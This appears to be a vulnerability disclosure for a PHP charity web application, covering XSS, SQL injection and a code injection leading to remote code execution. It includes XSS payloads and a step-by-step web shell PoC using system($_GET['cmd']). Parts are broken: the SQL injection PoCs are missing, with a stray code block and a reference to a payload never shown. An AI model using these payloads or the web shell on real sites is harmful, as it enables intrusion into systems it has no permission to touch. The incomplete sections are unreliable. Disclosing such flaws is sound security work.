# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP


## Unauthenticated reflected XSS
# Vulnerable code in '/search.php' at line 44/45:
<?php if($count_all <= 0): ?>
    <h4 class="text-center">No Article with "<?php echo $_GET['search'] ?>" keyword found.</h4> 
The content of the 'search' variable is printed on the page without being checked, leading to XSS
# PoC
Go to 'http://site.com/charity/' and in the search box input "<svg onload=alert(document.domain)>" without the double quotes, and a text box should appear


## Authenticated stored XSS
There is a stored XSS in '/charity/admin/maintenance/manage_topic.php' due to a failure to sanitize user input
# Poc
1) Login as admin
2) Go to '/maintenance/manage_topic.php'
3) In "description" insert "<svg onload=alert(document.domain)>" without the double quotes
4) Click the "save" below
5) An alert box should appear


## POST Authenticated SQL Injection
# Vulnerable code in '/charity/classes/Master.php' at line 67
$del = $this->conn->query("DELETE FROM `topics` where id = '{$id}'");
The $id variable is used without being checked, leading to SQLi
# PoC

if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `topics` where id = '{$_GET['id']}' ");

}
As usual the 'id' variable is passed to the prepared statement without being checked, leading to (another) SQLi
# PoC
Similar to the previous one (same payload)


## POST Unauthenticated SQL Injection
# Vulnerable code in '/charity/classes/Login.php' at line 21
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
The 'username' variable is passed without being sanificated, causing a SQLi

## PHP Code Injection lead to Authenticated Remote Code Execution (RCE)
# Vulnerable code in /charity/classes/SystemSettings.php at line 37
$qry = $this->conn->query("UPDATE system_info set meta_value = '{$value}' where meta_field = '{$key}' ");
The 'value' variable will be included in the homepage of the site without being checked, leading to RCE.
# PoC
1) Go to /charity/admin/system_info.php and in the "Welcome content" click on "Code View" at the top right.
2) At the bottom of the html code enter the following code: <?php if(isset($_GET['cmd'])) {system($_GET['cmd']);} ?>
3) Click the "update" button
4) Go to the home page and at the end of the url tipe "?cmd=$cmd" without the double quotes and replacing $cmd with the command you want to execute
5) The output should appear in the homepage
